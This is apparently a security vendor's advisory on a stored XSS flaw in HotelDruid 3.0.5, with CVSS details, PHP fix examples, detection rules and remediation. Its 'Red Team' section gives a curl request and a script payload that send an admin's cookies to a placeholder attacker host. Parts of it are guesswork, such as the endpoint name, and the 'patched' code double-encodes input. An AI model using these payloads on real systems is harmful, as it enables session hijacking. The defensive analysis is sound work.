CVE-2023-43378

Executive Summary

CVE-2023-43378 is a stored cross-site scripting (XSS) vulnerability identified in HotelDruid v3.0.5, a web-based hotel management application. The flaw resides in the commento1_1 parameter, allowing an unauthenticated attacker to inject arbitrary web scripts or HTML. When a victim (e.g., an administrator) views the affected page, the injected payload executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) due to low attack complexity, no privileges required, and user interaction required. No official patch has been released by the vendor, making this a persistent risk for all deployments of HotelDruid 3.0.5.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). HotelDruid is a standalone PHP application distributed via its official website. The risk is limited to direct installations of the vulnerable version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: Required (UI:R) – victim must view the malicious input.
• Scope: Changed (S:C) – impact extends beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – limited data exposure.
• Integrity Impact: Low (I:L) – limited modification of content.
• Availability Impact: None (A:N) – no denial of service.

Threat Level: Medium. The vulnerability is trivial to exploit but requires user interaction. In a hotel management context, an admin dashboard is a high-value target for session theft.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the commento1_1 parameter, likely used for guest comments or notes. The application fails to sanitize or encode user-supplied input before storing it in the database and later rendering it in the admin interface.

Attack Flow:

1. Attacker sends a POST request to the vulnerable endpoint (e.g., aggiungi_cliente.php or similar) with a crafted payload in commento1_1.
2. The payload is stored in the database without sanitization.
3. An administrator views the guest list or reservation details, triggering the payload in their browser.
4. The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or deface the page.

Root Cause: Lack of output encoding and input validation. The application likely uses echo $_POST['commento1_1'] or similar without htmlspecialchars() or equivalent.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$commento = $_POST['commento1_1'];
$sql = "INSERT INTO commenti (testo) VALUES ('$commento')";
mysqli_query($conn, $sql);
// Later in the page:
echo "<div class='commento'>$commento</div>";
?>

Patched Code (PHP):

<?php
$commento = htmlspecialchars($_POST['commento1_1'], ENT_QUOTES, 'UTF-8');
$stmt = $conn->prepare("INSERT INTO commenti (testo) VALUES (?)");
$stmt->bind_param("s", $commento);
$stmt->execute();
// Later in the page:
echo "<div class='commento'>" . htmlspecialchars($commento, ENT_QUOTES, 'UTF-8') . "</div>";
?>

The patch uses htmlspecialchars() for output encoding and prepared statements for database insertion, preventing both XSS and SQL injection.

Exploitation & Lab Setup

Red Team

Proof-of-Concept (PoC) Payload:

<script>alert(document.cookie)</script>

Exploit Request (using cURL):

curl -X POST http://target/hoteldruid/aggiungi_cliente.php \
  -d "nome=test&cognome=test&commento1_1=<script>fetch('http://attacker/steal?c='+document.cookie)</script>"

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = 'http://attacker/steal.php?cookie=' + encodeURIComponent(document.cookie);
</script>

Lab Setup:

1. Install HotelDruid v3.0.5 on a local LAMP stack.
2. Create a test client with the malicious payload in the commento1_1 field.
3. Log in as admin and navigate to the client list to trigger the XSS.

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to endpoints handling commento1_1 for suspicious patterns (e.g., <script>, onerror, javascript:).
2. Inspect database entries in the commenti table for HTML/script tags.
3. Use browser developer tools to check for unexpected network requests (e.g., to external domains) when viewing admin pages.

Mitigation:

• Apply input validation: reject or sanitize any input containing HTML tags.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Use Web Application Firewall (WAF) rules to block XSS payloads.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /hoteldruid/aggiungi_cliente.php or similar with commento1_1 containing <script> tags.
  • Outbound HTTP requests from the server to unknown domains (e.g., attacker.com/steal).
• File IOCs:
  • Modified database entries in the commenti table containing JavaScript.
  • Log entries showing commento1_1 with HTML/script content.
• Behavioral IOCs:
  • Unexpected admin session activity (e.g., changes to hotel settings without admin knowledge).
  • Unusual cookie values or session tokens.

Detection Engineering

YARA Rule

rule CVE_2023_43378_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2023-43378 in HotelDruid"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-43378"
    strings:
        $payload1 = /commento1_1=.*<script>/ nocase
        $payload2 = /commento1_1=.*onerror=/ nocase
        $payload3 = /commento1_1=.*javascript:/ nocase
    condition:
        any of them
}

Sigma Rule

title: CVE-2023-43378 HotelDruid XSS Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with XSS payloads in the commento1_1 parameter
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: commento1_1
        cs-uri-query|re: (?i)(<script|onerror|javascript:)
    condition: selection
falsepositives:
    - Legitimate use of HTML in comments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-43378 HotelDruid XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"commento1_1"; http_client_body; pcre:"/(?i)(<script|onerror|javascript:)/R"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable feature: If possible, remove or disable the commento1_1 input field in the application code.
2. Apply a WAF rule: Block POST requests containing <script> or onerror in the commento1_1 parameter.
3. Manual code fix: Add htmlspecialchars() to all output of user-supplied data, especially in the comment display section.

Long-term Fix:

• Upgrade to a patched version of HotelDruid if the vendor releases one.
• Conduct a full security audit of the application for similar vulnerabilities.
• Implement a Content Security Policy (CSP) to mitigate XSS impact.

Workaround:

• Use a reverse proxy (e.g., Nginx) to filter malicious input:

location /hoteldruid/ {
    if ($args ~* "commento1_1=.*<script") {
        return 403;
    }
}

Valters IT
Securing digital frontiers, one CVE at a time.